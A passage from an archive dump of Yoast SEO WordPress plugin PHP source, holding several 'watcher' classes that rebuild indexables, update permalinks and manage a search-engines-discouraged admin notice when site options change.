	protected function are_auto_updates_enabled( $plugin_id, $auto_updated_plugins ) {
		if ( $auto_updated_plugins === false || ! \is_array( $auto_updated_plugins ) ) {
			return false;
		}

		return \in_array( $plugin_id, $auto_updated_plugins, true );
	}
}
integrations/watchers/indexable-post-type-archive-watcher.php000066600000007735152204306260020572 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Post type archive watcher to save the meta data to an Indexable.
 *
 * Watches the home page options to save the meta information when updated.
 */
class Indexable_Post_Type_Archive_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Post_Type_Archive_Watcher constructor.
	 *
	 * @param Indexable_Repository $repository       The repository to use.
	 * @param Indexable_Helper     $indexable_helper The indexable helper.
	 * @param Indexable_Builder    $builder          The post builder to use.
	 */
	public function __construct(
		Indexable_Repository $repository,
		Indexable_Helper $indexable_helper,
		Indexable_Builder $builder
	) {
		$this->repository       = $repository;
		$this->indexable_helper = $indexable_helper;
		$this->builder          = $builder;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 10, 2 );
	}

	/**
	 * Checks if the home page indexable needs to be rebuild based on option values.
	 *
	 * @param array $old_value The old value of the option.
	 * @param array $new_value The new value of the option.
	 *
	 * @return bool Whether or not the option has been saved.
	 */
	public function check_option( $old_value, $new_value ) {
		$relevant_keys = [ 'title-ptarchive-', 'metadesc-ptarchive-', 'bctitle-ptarchive-', 'noindex-ptarchive-' ];

		// If this is the first time saving the option, thus when value is false.
		if ( $old_value === false ) {
			$old_value = [];
		}

		if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) {
			return false;
		}

		$keys               = \array_unique( \array_merge( \array_keys( $old_value ), \array_keys( $new_value ) ) );
		$post_types_rebuild = [];

		foreach ( $keys as $key ) {
			$post_type = false;
			// Check if it's a key relevant to post type archives.
			foreach ( $relevant_keys as $relevant_key ) {
				if ( \strpos( $key, $relevant_key ) === 0 ) {
					$post_type = \substr( $key, \strlen( $relevant_key ) );
					break;
				}
			}

			// If it's not a relevant key or both values aren't set they haven't changed.
			if ( $post_type === false || ( ! isset( $old_value[ $key ] ) && ! isset( $new_value[ $key ] ) ) ) {
				continue;
			}

			// If the value was set but now isn't, is set but wasn't or is not the same it has changed.
			if (
				! \in_array( $post_type, $post_types_rebuild, true )
				&& (
					! isset( $old_value[ $key ] )
					|| ! isset( $new_value[ $key ] )
					|| $old_value[ $key ] !== $new_value[ $key ]
				)
			) {
				$this->build_indexable( $post_type );
				$post_types_rebuild[] = $post_type;
			}
		}

		return true;
	}

	/**
	 * Saves the post type archive.
	 *
	 * @param string $post_type The post type.
	 *
	 * @return void
	 */
	public function build_indexable( $post_type ) {
		$indexable = $this->repository->find_for_post_type_archive( $post_type, false );
		$indexable = $this->builder->build_for_post_type_archive( $post_type, $indexable );

		if ( $indexable ) {
			$indexable->object_last_modified = \max( $indexable->object_last_modified, \current_time( 'mysql' ) );
			$this->indexable_helper->save_indexable( $indexable );
		}
	}
}
integrations/watchers/indexable-static-home-page-watcher.php000066600000004315152204306260020325 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Watcher that checks for changes in the page used as homepage.
 *
 * Watches the static homepage option and updates the permalinks accordingly.
 */
class Indexable_Static_Home_Page_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Indexable_Static_Home_Page_Watcher constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Indexable_Repository $repository The repository to use.
	 */
	public function __construct( Indexable_Repository $repository ) {
		$this->repository = $repository;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_page_on_front', [ $this, 'update_static_homepage_permalink' ], 10, 2 );
	}

	/**
	 * Updates the new and previous homepage's permalink when the static home page is updated.
	 *
	 * @param string $old_value The previous homepage's ID.
	 * @param int    $value     The new homepage's ID.
	 *
	 * @return void
	 */
	public function update_static_homepage_permalink( $old_value, $value ) {
		if ( \is_string( $old_value ) ) {
			$old_value = (int) $old_value;
		}

		if ( $old_value === $value ) {
			return;
		}

		$this->update_permalink_for_page( $old_value );
		$this->update_permalink_for_page( $value );
	}

	/**
	 * Updates the permalink based on the selected homepage settings.
	 *
	 * @param int $page_id The page's id.
	 *
	 * @return void
	 */
	private function update_permalink_for_page( $page_id ) {
		if ( $page_id === 0 ) {
			return;
		}

		$indexable = $this->repository->find_by_id_and_type( $page_id, 'post', false );

		if ( $indexable === false ) {
			return;
		}

		$indexable->permalink = \get_permalink( $page_id );

		$indexable->save();
	}
}
integrations/watchers/search-engines-discouraged-watcher.php000066600000015752152204306260020436 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Capability_Helper;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Notification_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Search_Engines_Discouraged_Presenter;
use Yoast_Notification;
use Yoast_Notification_Center;

/**
 * Shows a notification for users who have access for robots disabled.
 */
class Search_Engines_Discouraged_Watcher implements Integration_Interface {

	use No_Conditionals;

	/**
	 * The notification ID.
	 */
	public const NOTIFICATION_ID = 'wpseo-search-engines-discouraged';

	/**
	 * The Yoast notification center.
	 *
	 * @var Yoast_Notification_Center
	 */
	protected $notification_center;

	/**
	 * The notification helper.
	 *
	 * @var Notification_Helper
	 */
	protected $notification_helper;

	/**
	 * The search engines discouraged presenter.
	 *
	 * @var Search_Engines_Discouraged_Presenter
	 */
	protected $presenter;

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $current_page_helper;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The capability helper.
	 *
	 * @var Capability_Helper
	 */
	protected $capability_helper;

	/**
	 * Search_Engines_Discouraged_Watcher constructor.
	 *
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 * @param Notification_Helper       $notification_helper The notification helper.
	 * @param Current_Page_Helper       $current_page_helper The current page helper.
	 * @param Options_Helper            $options_helper      The options helper.
	 * @param Capability_Helper         $capability_helper   The capability helper.
	 */
	public function __construct(
		Yoast_Notification_Center $notification_center,
		Notification_Helper $notification_helper,
		Current_Page_Helper $current_page_helper,
		Options_Helper $options_helper,
		Capability_Helper $capability_helper
	) {
		$this->notification_center = $notification_center;
		$this->notification_helper = $notification_helper;
		$this->current_page_helper = $current_page_helper;
		$this->options_helper      = $options_helper;
		$this->capability_helper   = $capability_helper;
		$this->presenter           = new Search_Engines_Discouraged_Presenter();
	}

	/**
	 * Initializes the integration.
	 *
	 * On admin_init, it is checked whether the notification about search engines being discouraged should be shown.
	 * On admin_notices, the notice about the search engines being discouraged will be shown when necessary.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'manage_search_engines_discouraged_notification' ] );

		\add_action( 'update_option_blog_public', [ $this, 'restore_ignore_option' ] );

		/*
		 * The `admin_notices` hook fires on single site admin pages vs.
		 * `network_admin_notices` which fires on multisite admin pages and
		 * `user_admin_notices` which fires on multisite user admin pages.
		 */
		\add_action( 'admin_notices', [ $this, 'maybe_show_search_engines_discouraged_notice' ] );
	}

	/**
	 * Manage the search engines discouraged notification.
	 *
	 * Shows the notification if needed and deletes it if needed.
	 *
	 * @return void
	 */
	public function manage_search_engines_discouraged_notification() {
		if ( ! $this->should_show_search_engines_discouraged_notification() ) {
			$this->remove_search_engines_discouraged_notification_if_exists();
		}
		else {
			$this->maybe_add_search_engines_discouraged_notification();
		}
	}

	/**
	 * Show the search engine discouraged notice when needed.
	 *
	 * @return void
	 */
	public function maybe_show_search_engines_discouraged_notice() {
		if ( ! $this->should_show_search_engines_discouraged_notice() ) {
			return;
		}
		$this->show_search_engines_discouraged_notice();
	}

	/**
	 * Whether the search engines discouraged notification should be shown.
	 *
	 * @return bool
	 */
	protected function should_show_search_engines_discouraged_notification() {
		return $this->search_engines_are_discouraged() && $this->options_helper->get( 'ignore_search_engines_discouraged_notice', false ) === false;
	}

	/**
	 * Remove the search engines discouraged notification if it exists.
	 *
	 * @return void
	 */
	protected function remove_search_engines_discouraged_notification_if_exists() {
		$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
	}

	/**
	 * Add the search engines discouraged notification if it does not exist yet.
	 *
	 * @return void
	 */
	protected function maybe_add_search_engines_discouraged_notification() {
		if ( ! $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ) ) {
			$notification = $this->notification();
			$this->notification_helper->restore_notification( $notification );
			$this->notification_center->add_notification( $notification );
		}
	}

	/**
	 * Checks whether search engines are discouraged from indexing the site.
	 *
	 * @return bool Whether search engines are discouraged from indexing the site.
	 */
	protected function search_engines_are_discouraged() {
		return (string) \get_option( 'blog_public' ) === '0';
	}

	/**
	 * Whether the search engines notice should be shown.
	 *
	 * @return bool
	 */
	protected function should_show_search_engines_discouraged_notice() {
		$pages_to_show_notice = [
			'index.php',
			'plugins.php',
			'update-core.php',
		];

		return (
			$this->search_engines_are_discouraged()
			&& $this->capability_helper->current_user_can( 'manage_options' )
			&& $this->options_helper->get( 'ignore_search_engines_discouraged_notice', false ) === false
			&& (
				$this->current_page_helper->is_yoast_seo_page()
				|| \in_array( $this->current_page_helper->get_current_admin_page(), $pages_to_show_notice, true )
			)
			&& $this->current_page_helper->get_current_yoast_seo_page() !== 'wpseo_dashboard'
		);
	}

	/**
	 * Show the search engines discouraged notice.
	 *
	 * @return void
	 */
	protected function show_search_engines_discouraged_notice() {
		\printf(
			'<div id="robotsmessage" class="notice notice-error">%1$s</div>',
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output from present() is considered safe.
			$this->presenter->present()
		);
	}

	/**
	 * Returns an instance of the notification.
	 *
	 * @return Yoast_Notification The notification to show.
	 */
	protected function notification() {
		return new Yoast_Notification(
			$this->presenter->present(),
			[
				'type'         => Yoast_Notification::ERROR,
				'id'           => self::NOTIFICATION_ID,
				'capabilities' => 'wpseo_manage_options',
				'priority'     => 1,
			]
		);
	}

	/**
	 * Should restore the ignore option for the search engines discouraged notice.
	 *
	 * @return void
	 */
	public function restore_ignore_option() {
		if ( ! $this->search_engines_are_discouraged() ) {
			$this->options_helper->set( 'ignore_search_engines_discouraged_notice', false );
		}
	}
}
integrations/watchers/indexable-attachment-watcher.php000066600000011421152204306260017322 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Indexation_Action;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Attachment_Cleanup_Helper;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Notification_Center;

/**
 * Watches the disable-attachment key in wpseo_titles, in order to clear the permalink of the category indexables.
 */
class Indexable_Attachment_Watcher implements Integration_Interface {

	/**
	 * The indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * The attachment cleanup helper.
	 *
	 * @var Attachment_Cleanup_Helper
	 */
	protected $attachment_cleanup;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * The notifications center.
	 *
	 * @var Yoast_Notification_Center
	 */
	private $notification_center;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The conditionals.
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Attachment_Watcher constructor.
	 *
	 * @param Indexing_Helper           $indexing_helper     The indexing helper.
	 * @param Attachment_Cleanup_Helper $attachment_cleanup  The attachment cleanup helper.
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 * @param Indexable_Helper          $indexable_helper    The indexable helper.
	 */
	public function __construct(
		Indexing_Helper $indexing_helper,
		Attachment_Cleanup_Helper $attachment_cleanup,
		Yoast_Notification_Center $notification_center,
		Indexable_Helper $indexable_helper
	) {
		$this->indexing_helper     = $indexing_helper;
		$this->attachment_cleanup  = $attachment_cleanup;
		$this->notification_center = $notification_center;
		$this->indexable_helper    = $indexable_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 20, 2 );
	}

	/**
	 * Checks if the disable-attachment key in wpseo_titles has a change in value, and if so,
	 * either it cleans up attachment indexables when it has been toggled to true,
	 * or it starts displaying a notification for the user to start a new SEO optimization.
	 *
	 * @phpcs:disable SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingTraversableTypeHintSpecification
	 *
	 * @param array $old_value The old value of the wpseo_titles option.
	 * @param array $new_value The new value of the wpseo_titles option.
	 *
	 * @phpcs:enable
	 * @return void
	 */
	public function check_option( $old_value, $new_value ) {
		// If this is the first time saving the option, in which case its value would be false.
		if ( $old_value === false ) {
			$old_value = [];
		}

		// If either value is not an array, return.
		if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) {
			return;
		}

		// If both values aren't set, they haven't changed.
		if ( ! isset( $old_value['disable-attachment'] ) && ! isset( $new_value['disable-attachment'] ) ) {
			return;
		}

		// If a new value has been set for 'disable-attachment', there's two things we might need to do, depending on what's the new value.
		if ( $old_value['disable-attachment'] !== $new_value['disable-attachment'] ) {
			// Delete cache because we now might have new stuff to index or old unindexed stuff don't need indexing anymore.
			\delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_COUNT_TRANSIENT );
			\delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_LIMITED_COUNT_TRANSIENT );

			// Set this core option (introduced in WP 6.4) to ensure consistency.
			if ( \get_option( 'wp_attachment_pages_enabled' ) !== false ) {
				\update_option( 'wp_attachment_pages_enabled', (int) ! $new_value['disable-attachment'] );
			}

			switch ( $new_value['disable-attachment'] ) {
				case false:
					$this->indexing_helper->set_reason( Indexing_Reasons::REASON_ATTACHMENTS_MADE_ENABLED );
					return;
				case true:
					$this->attachment_cleanup->remove_attachment_indexables( false );
					$this->attachment_cleanup->clean_attachment_links_from_target_indexable_ids( false );

					if ( $this->indexable_helper->should_index_indexables() && ! \wp_next_scheduled( Cleanup_Integration::START_HOOK ) ) {
						// This just schedules the cleanup routine cron again.
						\wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
					}
					return;
			}
		}
	}
}
integrations/watchers/indexable-category-permalink-watcher.php000066600000003364152204306260020776 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use WPSEO_Utils;
use Yoast\WP\SEO\Config\Indexing_Reasons;

/**
 * Watches the stripcategorybase key in wpseo_titles, in order to clear the permalink of the category indexables.
 */
class Indexable_Category_Permalink_Watcher extends Indexable_Permalink_Watcher {

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 10, 2 );
	}

	/**
	 * Checks if the stripcategorybase key in wpseo_titles has a change in value, and if so,
	 * clears the permalink for category indexables.
	 *
	 * @param array $old_value The old value of the wpseo_titles option.
	 * @param array $new_value The new value of the wpseo_titles option.
	 *
	 * @return void
	 */
	public function check_option( $old_value, $new_value ) {
		// If this is the first time saving the option, in which case its value would be false.
		if ( $old_value === false ) {
			$old_value = [];
		}

		// If either value is not an array, return.
		if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) {
			return;
		}

		// If both values aren't set, they haven't changed.
		if ( ! isset( $old_value['stripcategorybase'] ) && ! isset( $new_value['stripcategorybase'] ) ) {
			return;
		}

		// If a new value has been set for 'stripcategorybase', clear the category permalinks.
		if ( $old_value['stripcategorybase'] !== $new_value['stripcategorybase'] ) {
			$this->indexable_helper->reset_permalink_indexables( 'term', 'category', Indexing_Reasons::REASON_CATEGORY_BASE_PREFIX );
			// Clear the rewrites, so the new permalink structure is used.
			WPSEO_Utils::clear_rewrites();
		}
	}
}
integrations/watchers/indexable-ancestor-watcher.php000066600000020337152204306260017016 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Hierarchy_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Permalink_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Hierarchy_Repository;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Ancestor watcher to update the ancestor's children.
 *
 * Updates its children's permalink when the ancestor itself is updated.
 */
class Indexable_Ancestor_Watcher implements Integration_Interface {

	/**
	 * Represents the indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * Represents the indexable hierarchy builder.
	 *
	 * @var Indexable_Hierarchy_Builder
	 */
	protected $indexable_hierarchy_builder;

	/**
	 * Represents the indexable hierarchy repository.
	 *
	 * @var Indexable_Hierarchy_Repository
	 */
	protected $indexable_hierarchy_repository;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Represents the permalink helper.
	 *
	 * @var Permalink_Helper
	 */
	protected $permalink_helper;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * Sets the needed dependencies.
	 *
	 * @param Indexable_Repository           $indexable_repository           The indexable repository.
	 * @param Indexable_Hierarchy_Builder    $indexable_hierarchy_builder    The indexable hierarchy builder.
	 * @param Indexable_Hierarchy_Repository $indexable_hierarchy_repository The indexable hierarchy repository.
	 * @param Indexable_Helper               $indexable_helper               The indexable helper.
	 * @param Permalink_Helper               $permalink_helper               The permalink helper.
	 * @param Post_Type_Helper               $post_type_helper               The post type helper.
	 */
	public function __construct(
		Indexable_Repository $indexable_repository,
		Indexable_Hierarchy_Builder $indexable_hierarchy_builder,
		Indexable_Hierarchy_Repository $indexable_hierarchy_repository,
		Indexable_Helper $indexable_helper,
		Permalink_Helper $permalink_helper,
		Post_Type_Helper $post_type_helper
	) {
		$this->indexable_repository           = $indexable_repository;
		$this->indexable_hierarchy_builder    = $indexable_hierarchy_builder;
		$this->indexable_hierarchy_repository = $indexable_hierarchy_repository;
		$this->indexable_helper               = $indexable_helper;
		$this->permalink_helper               = $permalink_helper;
		$this->post_type_helper               = $post_type_helper;
	}

	/**
	 * Registers the appropriate hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wpseo_save_indexable', [ $this, 'reset_children' ], \PHP_INT_MAX, 2 );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<Migrations_Conditional>
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * If an indexable's permalink has changed, updates its children in the hierarchy table and resets the children's permalink.
	 *
	 * @param Indexable $indexable        The indexable.
	 * @param Indexable $indexable_before The old indexable.
	 *
	 * @return bool True if the children were reset.
	 */
	public function reset_children( $indexable, $indexable_before ) {
		if ( ! \in_array( $indexable->object_type, [ 'post', 'term' ], true ) ) {
			return false;
		}

		// If the permalink was null it means it was reset instead of changed.
		if ( $indexable->permalink === $indexable_before->permalink || $indexable_before->permalink === null ) {
			return false;
		}

		$child_indexable_ids = $this->indexable_hierarchy_repository->find_children( $indexable );
		$child_indexables    = $this->indexable_repository->find_by_ids( $child_indexable_ids );

		\array_walk( $child_indexables, [ $this, 'update_hierarchy_and_permalink' ] );
		if ( $indexable->object_type === 'term' ) {
			$child_indexables_for_term = $this->get_children_for_term( $indexable->object_id, $child_indexables );

			\array_walk( $child_indexables_for_term, [ $this, 'update_hierarchy_and_permalink' ] );
		}

		return true;
	}

	/**
	 * Finds all child indexables for the given term.
	 *
	 * @param int              $term_id          Term to fetch the indexable for.
	 * @param array<Indexable> $child_indexables The already known child indexables.
	 *
	 * @return array<Indexable> The list of additional child indexables for a given term.
	 */
	public function get_children_for_term( $term_id, array $child_indexables ) {
		// Finds object_ids (posts) for the term.
		$post_object_ids = $this->get_object_ids_for_term( $term_id, $child_indexables );

		// Removes the objects that are already present in the children.
		$existing_post_indexables = \array_filter(
			$child_indexables,
			static function ( $indexable ) {
				return $indexable->object_type === 'post';
			}
		);

		$existing_post_object_ids = \wp_list_pluck( $existing_post_indexables, 'object_id' );
		$post_object_ids          = \array_diff( $post_object_ids, $existing_post_object_ids );

		// Finds the indexables for the fetched post_object_ids.
		$post_indexables = $this->indexable_repository->find_by_multiple_ids_and_type( $post_object_ids, 'post', false );

		// Finds the indexables for the posts that are attached to the term.
		$post_indexable_ids       = \wp_list_pluck( $post_indexables, 'id' );
		$additional_indexable_ids = $this->indexable_hierarchy_repository->find_children_by_ancestor_ids( $post_indexable_ids );

		// Makes sure we only have indexable id's that we haven't fetched before.
		$additional_indexable_ids = \array_diff( $additional_indexable_ids, $post_indexable_ids );

		// Finds the additional indexables.
		$additional_indexables = $this->indexable_repository->find_by_ids( $additional_indexable_ids );

		// Merges all fetched indexables.
		return \array_merge( $post_indexables, $additional_indexables );
	}

	/**
	 * Updates the indexable hierarchy and indexable permalink.
	 *
	 * @param Indexable $indexable The indexable to update the hierarchy and permalink for.
	 *
	 * @return void
	 */
	protected function update_hierarchy_and_permalink( $indexable ) {
		if ( \is_a( $indexable, Indexable::class ) ) {
			$this->indexable_hierarchy_builder->build( $indexable );

			$indexable->permalink = $this->permalink_helper->get_permalink_for_indexable( $indexable );
			$this->indexable_helper->save_indexable( $indexable );
		}
	}

	/**
	 * Retrieves the object id's for a term based on the term-post relationship.
	 *
	 * @param int              $term_id          The term to get the object id's for.
	 * @param array<Indexable> $child_indexables The child indexables.
	 *
	 * @return array<int> List with object ids for the term.
	 */
	protected function get_object_ids_for_term( $term_id, $child_indexables ) {
		global $wpdb;

		$filter_terms = static function ( $child ) {
			return $child->object_type === 'term';
		};

		$child_terms      = \array_filter( $child_indexables, $filter_terms );
		$child_object_ids = \array_merge( [ $term_id ], \wp_list_pluck( $child_terms, 'object_id' ) );

		// Get the term-taxonomy id's for the term and its children.
		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
		$term_taxonomy_ids = $wpdb->get_col(
			$wpdb->prepare(
				'SELECT term_taxonomy_id
				FROM %i
				WHERE term_id IN( ' . \implode( ', ', \array_fill( 0, ( \count( $child_object_ids ) ), '%s' ) ) . ' )',
				$wpdb->term_taxonomy,
				...$child_object_ids
			)
		);

		// In the case of faulty data having been saved the above query can return 0 results.
		if ( empty( $term_taxonomy_ids ) ) {
			return [];
		}

		// Get the (post) object id's that are attached to the term.
		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
		return $wpdb->get_col(
			$wpdb->prepare(
				'SELECT DISTINCT object_id
				FROM %i
				WHERE term_taxonomy_id IN( ' . \implode( ', ', \array_fill( 0, \count( $term_taxonomy_ids ), '%s' ) ) . ' )',
				$wpdb->term_relationships,
				...$term_taxonomy_ids
			)
		);
	}
}
integrations/watchers/indexable-author-watcher.php000066600000007010152204306260016473 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Watches an Author to save the meta information to an Indexable when updated.
 */
class Indexable_Author_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Author_Watcher constructor.
	 *
	 * @param Indexable_Repository $repository       The repository to use.
	 * @param Indexable_Helper     $indexable_helper The indexable helper.
	 * @param Indexable_Builder    $builder          The builder to use.
	 */
	public function __construct(
		Indexable_Repository $repository,
		Indexable_Helper $indexable_helper,
		Indexable_Builder $builder
	) {
		$this->repository       = $repository;
		$this->indexable_helper = $indexable_helper;
		$this->builder          = $builder;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'user_register', [ $this, 'build_indexable' ], \PHP_INT_MAX );
		\add_action( 'profile_update', [ $this, 'build_indexable' ], \PHP_INT_MAX );
		\add_action( 'deleted_user', [ $this, 'handle_user_delete' ], 10, 2 );
	}

	/**
	 * Deletes user meta.
	 *
	 * @param int $user_id User ID to delete the metadata of.
	 *
	 * @return void
	 */
	public function delete_indexable( $user_id ) {
		$indexable = $this->repository->find_by_id_and_type( $user_id, 'user', false );

		if ( ! $indexable ) {
			return;
		}

		$indexable->delete();
		\do_action( 'wpseo_indexable_deleted', $indexable );
	}

	/**
	 * Saves user meta.
	 *
	 * @param int $user_id User ID.
	 *
	 * @return void
	 */
	public function build_indexable( $user_id ) {
		$indexable = $this->repository->find_by_id_and_type( $user_id, 'user', false );
		$indexable = $this->builder->build_for_id_and_type( $user_id, 'user', $indexable );

		if ( $indexable ) {
			$indexable->object_last_modified = \max( $indexable->object_last_modified, \current_time( 'mysql' ) );
			$this->indexable_helper->save_indexable( $indexable );
		}
	}

	/**
	 * Handles the case in which an author is deleted.
	 *
	 * @param int      $user_id     User ID.
	 * @param int|null $new_user_id The ID of the user the old author's posts are reassigned to.
	 *
	 * @return void
	 */
	public function handle_user_delete( $user_id, $new_user_id = null ) {
		if ( $new_user_id !== null ) {
			$this->maybe_reassign_user_indexables( $user_id, $new_user_id );
		}

		$this->delete_indexable( $user_id );
	}

	/**
	 * Reassigns the indexables of a user to another user.
	 *
	 * @param int $user_id     The user ID.
	 * @param int $new_user_id The user ID to reassign the indexables to.
	 *
	 * @return void
	 */
	public function maybe_reassign_user_indexables( $user_id, $new_user_id ) {
		$this->repository->query()
			->set( 'author_id', $new_user_id )
			->where( 'author_id', $user_id )
			->update_many();
	}
}
integrations/watchers/indexable-homeurl-watcher.php000066600000005410152204306260016646 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use WP_CLI;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Home url option watcher.
 *
 * Handles updates to the home URL option for the Indexables table.
 */
class Indexable_HomeUrl_Watcher implements Integration_Interface {

	/**
	 * Represents the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_HomeUrl_Watcher constructor.
	 *
	 * @param Post_Type_Helper $post_type The post type helper.
	 * @param Options_Helper   $options   The options helper.
	 * @param Indexable_Helper $indexable The indexable helper.
	 */
	public function __construct( Post_Type_Helper $post_type, Options_Helper $options, Indexable_Helper $indexable ) {
		$this->post_type        = $post_type;
		$this->options_helper   = $options;
		$this->indexable_helper = $indexable;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
